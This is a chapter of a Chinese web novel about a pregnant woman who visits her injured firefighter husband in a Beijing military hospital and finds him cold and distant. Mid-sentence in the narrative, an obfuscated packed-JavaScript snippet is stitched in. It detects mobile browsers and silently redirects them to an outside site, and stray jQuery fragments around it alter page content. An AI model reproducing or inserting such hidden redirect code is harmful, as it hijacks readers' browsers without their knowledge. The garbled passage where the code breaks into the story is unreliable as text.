沉静的黑暗中，哐当——哐当——的铁轨声从薄薄的床板传到耳膜，冯月出翻了个身，蜷缩在下铺，身子越来越沉，上回她还能坐硬座，现在只能让部队帮忙订硬卧了。
周五下班就坐大巴去市里，赶上晚上出发那趟火车，第二天早上就能到北京。不过那趟大巴大部分时候都没有，人少，自然就取消了，她四处打听，不论是厂里去市里送货的，还是部队要去采购，只要能捎上她就行。
每周只休息一天，冯月出把两周的攒一起，周五晚上再睡到火车上，很合理的时间安排。
已经后半夜了，空气中还弥漫着淡淡的烟和食物味道，冯月出用头巾捂住鼻子，她知道烟味不好，要是身边有人抽烟她能请求一下，车厢远处飘来的，她也没办法，所差就这一晚上，忍一忍。
冯月出只能这样安慰自己。
上回去看宋行简，他非常冷漠，甚至他姐姐还劝她考虑肚子里的小孩子，说他们家愿意赔付一笔钱，或者持续赔付作为补偿。冯月出云里雾里，据医生说宋行简左腿伤是比较严重，但还远到不了截肢或者瘫痪地步，通过手术是能站立起来的，只不过可能一开始正常行走比较吃力，后期认真锻炼也能走的。
医生也无法给出标准答案，但总体来说他们的看法都是比较乐观的，宋行简身体素质好，又年轻，极大可能恢复不错。
这个时候冯月出是绝不会放弃他的，夫妻本来就是共患难的，既然成立了一个家庭，她就会想认认真真过下去。她只是不明白宋行简冷淡的来源，总之绝不会是因为他的晋升。之前家属院是有不少陈世美类型的，但多发于提干后的农兵，多半会踢掉多年等在农村的未婚妻甚至妻子，跟城里姑娘恋爱结婚。但后来因为影响太不好几乎被一刀切了，就没人敢做到明面上，出了道德瑕疵，说不定年纪轻轻就走到仕途最高点了，毕竟军队最不缺的就是人。
宋行简不是这样的人，他是一个自我道德要求极高的人，冯月出丝毫不怀疑，如果当时不是她一而再再而三主动，可能他们真的会过一辈子舍友生活，永远都是纯洁的革命友情。他总是在控制他的欲望，或者说阉割他的欲望。
但说实话，冯月出不自然被这样的他吸引，她以前以为她对他，都只是命运推着走，是意外的意外，是隔着哥的托付的，是冷峻生活中微不足道的一点好感。
但见到宋行简躺到医院床上，浑身包扎着的时候冯月出发现不是的，不是那样的，她也是爱他的，可能这种爱跟对哥的不一样，但她心底的痛楚毫不作假，她心疼宋行简。
这种心疼可能也夹杂着对杜辉的愧疚，在那个小村子等待的时间太长，她以为外面的世界都是美好的，杜辉是无所不能的，在太多她不知道的时间里，杜辉肯定经历过很多困难。水火无情，冯月出不敢想杜辉死前的绝望。
她做好了准备，或者说军人的妻子就是要长期做好这种准备，不管宋行简是瘸一天、一年、还是一辈子。
部队也一定会管他的，就算再不济，他跟那个抗美援朝被炸伤脸的老大爷一样去军人服务社卖菜，再加上自己在服装厂的工资，也完全可以养活他俩跟肚子里这个孩子。
穷有穷的活法富有富的活法，只不过委屈了妈，说好从今年开始每个月要打给她一点养老钱的，只能先暂时搁置。她悄悄问过罗雅燕的工资，已经跟普通员工拉出一大截了，冯月出看出汪主任也很关注她，随着外贸车间接的订单越来越多，扩建是必然的，冯月出打算加把劲儿争取争取，不过大刀阔斧也只能等她生完孩子。
如果让她当这个家的顶梁柱她也不觉得有什么，只可能经济条件限制，多跟宋行简讲一讲艰苦节约的美好品德。
想到妈，冯月出眼睛有点酸了，她在家有些时候想流一流眼泪，但不想让妈看见，在厂子里更不想显露自己怯弱一面，于是连流泪的自由都没有，在这个漆黑的火车下铺，冯月出佝偻成一团狠狠流了眼泪。
妈上个月来的，她来的时候本不很情愿，冯月出也不讲原因，只一个劲儿说想她，身体难受。冯秀容说门前的山阳坡上新种了几棵树苗，正忙着浇水。才几个月，这么早来了有什么可看顾的，怎么也得等要生孩子前一个月再来。
冯秀容对于自己养鹌鹑失败败光杜辉的抚恤金一直耿耿于怀，那么大的一笔钱。她一点也不想给月出增加负担，尤其是月出现在肚子里还带着一个的情况下。因为曾经缠过足，她的腿脚也不行，不能长时间站着，春耕秋收都做不好，只能把地承包给别人。杜辉去世后的每个月定期抚恤金比较少，尤其是这两年不知道为什么钱不着花得要命，什么都贵了，随便买点啥出溜一下就没了。
失败的经历让她不敢放开手脚，就小打小闹地尝试种树，介绍的人说那种果树产量高，结果早，还耐运输，秋天时候会有人来收，用不了几年就能赚到钱。
冯秀容半怀疑，但还是尝试了，她正忙着种树，月初那边闹得不行。怀孕当然是件艰险的事情，但冯秀容也不想空着手去，去了更不想花他们小两口的钱。她就赶忙去大山里挖黄芩，县城里的药房收，就是因为着急，价格被压得低，不过她顺路摘点榆钱挖点野蒜什么，去菜市场蹲蹲，卖了也能赚点小钱。
还没来得及捣鼓几回，她实在被月出吵的心烦，就去了。去了她才知道出了那么大事，月初也是，电话里不早说，早说她早就来了。
她也想哭，她觉得自己闺女命惨，那么好的姑娘，老天一点也不善待，姑爷也命惨，冲去火里救人，好人，也没好报，她都想回家里把灶台后供奉的保家仙砸了。从年轻到年老，她诚心祈祷的愿望，没有一个成真的，她的愿望很难吗，并没有。她只是如同一位最朴素的母亲，祈求自己的儿子女儿平安健康幸福，后来再加个女婿。
但在女儿面前她肯定不能表现出来一点，她只能把眼泪流在背后。
天边泛白了，冯月出看到有快下车的人拎着行李匆匆忙忙地穿梭，再有两个小时就要到了。
她回去认真思考了宋行简可能冷淡的原因，得出的结论是他可能还在生气，生她笑话他眉毛头发被燎了是裘千仞的气。宋行简虽然很爱生气，但通常气性来得快去得也快，至于这次时间为什么这么长。冯月出觉得可能因为他的脑袋摔得不好使了，书上说，经历过重大变动的人可能脾性也会发生改变，还有那什么，灾难后遗症。冯月出把宋行简的冷淡归结于这些。
她这次来要先道歉。
这次的灾难重大，各大中小企业都自发组织职工募捐，冯月出还作为杰出救火英雄的家属上台发表了感言，她带头捐了五十块，这些钱几乎快要赶上她一个月的工资，但她是心甘情愿的，太惨烈了。
因为宋行简的事儿她查阅了很多资料，想要更全面了解这场火灾，第一次深刻体会到了什么是水火无情，在以前她一直以为，人跑光了，就算再大的火，一直烧下去，遇到大河遇到石头地，火总归是会灭的。
原来不是这样，几十米甚至上百米高的飞火五个小时能推进一百多公里，人是跑不过的。也没有什么能阻挡，不论是公路铁路还是河流，甚至是五百米宽的防火带。铁轨能烧弯，汽车能凝成铁坨子，人能烧一团团焦炭，烧成酥的。不只死于火烧，还能死于缺氧窒息或者有毒气体，有躲到地窖里的人被憋死的，有躲到水箱里的人被煮熟的，扑棱着翅膀的鸡被风拽着卷到火里马上变成名副其实的烤鸡，躯体滋滋冒着油。
冯月出越看越不忍，她觉得自己那个玩笑开得太不合时宜，宋行简是英雄，她每天都跟肚子里的小孩子强调这一点，希望等它出来那一天不要觉得爸爸是个瘸子不好，这是勋章。
她有好多话想跟宋行简说，比如她在厂里发言时候把好多人都讲哭了，厂里募捐的钱要比其他厂多得多，她们还捐了一批衣物，虽然是陈旧布料改的，但绝对能应急。她还想说今年院儿里种的菜都是他爱吃的，还有去产检医生说肚子里的宝宝特别健康……
终于到了北京站，人流拥挤，冯月出手挡到肚子前穿过一个略显昏暗的地下通道，她本就不是瘦弱的体格，现在已经很显怀了。
地下通道出来就正对着一个很宏伟的大钟楼，冯月出先去旁边那条大街吃碗面填饱肚子，然后再坐那个叮叮当当头上带着两条大辫子的公交车去医院。
其实部队很照顾的，甚至地方部队还能派人来接，但冯月出不想给人添麻烦，她自己坐上公交车就到了，再说鼻子底下张着嘴，有什么直接问就行了。
公交车上有大娘给冯月出让座，她觉得心里头暖暖的。
靠着车窗，她觉得自己变化真大，几年前她还是个没坐过公交车，满篇错别字的村里姑娘，现在已经能独立做这么多事情了。
估计这回就是她这几个月最后一回来看宋行简了，离得太远，就算她身体再好也不能总这样折腾，不知道宋行简什么时候能转到地方医院去了。宋行简这里用不着她操心，医院有特护，部队也拿他当典型，什么肯定都是最好的。
至于她，有妈在就够了，妈一来就张喽着给小孩准备尿布包被小枕头小褥子奶瓶奶嘴什么的，冯月出一直以为自己做了万全准备，等妈来了才知道还差得远。部队也很照顾她，一些军属经常带着后勤保障任务来关怀她，还会送额度以外的肉蛋奶。现在计划生育严格，一些完成生育任务的还把小孩用过的衣物什么的洗干净送给冯月出，冯月出非常感动。
这些冯月出都打算跟宋行简说，就算他不在身边，也不用担心家里，她身体素质好，妈有经验，组织上也经常帮扶。他专心好好治病就行。
为了减轻坐车转运的疲累，冯月出带了很少的东西，只背了一个背包，里面还装着两罐核桃仁，是冯月出自己砸的，书上说这些对骨头恢复好。其实还挺难砸的，都是妈从家里扛来的山核桃，核桃仁比较碎，砸的时候得很小心，用针尖儿慢慢挑出来。
冯月出一般自己砸时候就把罐子打开，要是仁儿大就放进去，要是碎了就自己吃。本来以为没多少，没想到攒着攒着就这么多了。
到了医院，冯月出先是对着反光玻璃拢了拢头发，在车站卫生间她洗了把脸的，不过憔悴肯定是不可避免的，怀孕本来就是一件很累的事儿。
宋行简在军区总医院的南楼，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16214162|176097||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是一片相对独立的区域，管理得比较严格，有几个穿着制服的人值守，探视需要登记，冯月出把自己的证件和部队开的介绍信拿出来，那人打了电话，然后才让冯月出进去。
楼层很高，冯月出已经知道怎么使用电梯了，不过电梯里还是有负责按楼层的人。要说的那些话冯月出在心底来来回回打了不知道多少遍草稿。她又抹了下脸，她希望自己呈现出来的状态是积极向上的。
医院依旧是安静宽敞的，冯月出不自觉放缓了脚步。
推开病房门。
茶几上连着放了好几个果篮，地上还有几盆油亮挺拔的万年青和君子兰，窗户开着，大片晴朗的日光洒进来，落到洁白的地板上。
有个窈窕的女人正坐在病床边的椅子上，小心地把手里的梨削成一小块一小块的。
推开门的声音，那人回过头，是一张非常美丽的、有气质的脸庞，倪雪晴。
潋滟清润的眼睛掠过冯月出，她友好地站起身跟冯月出打招呼，把手里削好的梨递给宋行简，装在精巧的小碗里，里面还有个小银叉方便病人吃。
宋行简也看过来，他恢复得好像不错，头发眉毛都长出来了，脸上火泡结痂掉下只留了一点浅浅疤痕，冯月出心底舒了口气，还好不严重，他那么注意外形，要是留了疤肯定一照镜子就难受。
只是左腿还固定着，按说应该已经手术了。
冯月出的出现像是打破了那份安静，要是按照往常她的性格，一定是会泼辣的、风风火火问个明明白白的，到底怎么回事，是不是背着她搞什么烂事儿。
但现在她好累，几乎懒得张嘴。
她只是把背包里的两罐核桃仁儿掏出来放到桌上。
“没事儿，就来看看你怎么样，电话不接，信也不回，怕你又严重了，过几天身子更重我也来不了了。”
“行，既然你没事儿那我就回去了。”
冯月出说得轻飘飘，就好像她只是出门拐了个弯儿就到医院了一样。
离开前她还是没忍住说。
“你脾胃不好，梨太寒，要少吃。”
过年回家时候宋行简吃了一个，胃疼到后半夜。
关上病房门，冯月出走得越来越快越来越快，她觉得心底很轻快，甚至想要唱起歌来。
直到医院被远远落到身后，此时的北京城真美丽，路边一片片大朵大朵盛开着的粉红月季，好看得不要命一样。
冯月出有点累了，就慢慢坐到台阶上，远远近近的脚步声自行车铃声络绎不绝，有个拉着爸爸妈妈手的小朋友在笑，很清脆地笑。
冯月出摸了摸自己的肚子，好神奇，此刻小小的它正跟自己共用一颗心脏。
脚有点疼，冯月出脱下鞋，她现在穿鞋都要垫很厚很软的鞋垫，轻轻摁下去，留下一个小坑，水肿得厉害。
忽然大滴大滴眼泪落下来，冯月出想到自己哲学没过，就差两分，下次考试又要等到十月份了。
巨大的、磅礴的委屈包围了她。
“你真不解释？”
宋知恒拿着那碗削好的梨往嘴里送，冯月出刚出医院大门，倪雪晴也走了，她今天本来就是出于礼节来看一看。宋行简整个学生时代都是在北京，再加上他父亲姐姐那层关系，看望他的人络绎不绝。
宋行简依旧不说话，出了事之后他就这个样子，安静得像死了一样，开始还有记者媒体工作者想来采访报道他，但他这副样子实在不符合大众对于英雄人物自强不息品格的想象，后来就没人了。
“我要是下不来手术台你把这个给她。”
宋行简递过来个信封，里面装着一张国外的汇款单，他母亲朋友前几年汇来的，那场变动之前柏柔山并不是毫无察觉。
还有一张纸，上面写着一个电话号码。
“我不觉得有人能比你更好地照顾她，以及你的孩子。”
“他能。”
宋行简说完这句话又沉默，闭上眼睛。
宋知恒想说的话就都被噎到了嗓子里，她甚至觉得宋行简还不如冯月出坚强，他在某些层面和那个男人很像，懦弱，逃避。
就算瘸了一条腿又怎样呢，就不活了？
宋行简拒绝接受国内医生的方案，安全稳妥的方案，保证骨骼的愈合，牺牲某些受损神经，只是完全恢复后会留下永久性、比较明显的跛行。另一个冒险方案涉及神经移植，如果成功能恢复大部分功能，通过锻炼可以实现正常行走跳跃，只是成功率不到50%，并且有极高的术后感染风险，甚至一些涉及药物目前尚处于试验阶段，还没有通过卫生部的药检。
总而言之，极其冒险，稍不慎就搭进去一条命。
“昨天我梦到她了。”
宋行简长时间不讲话，声音哑得吓人。
“谁？”
宋知恒愣了一下，然后很快反应过来。
她确信宋行简一定会后悔的，为什么人总能眼睁睁地看着自己走向错误的那条路呢。
因为人是环境的产物，所有人对于家庭的想象，对于责任的担当，都离不开以往的经历。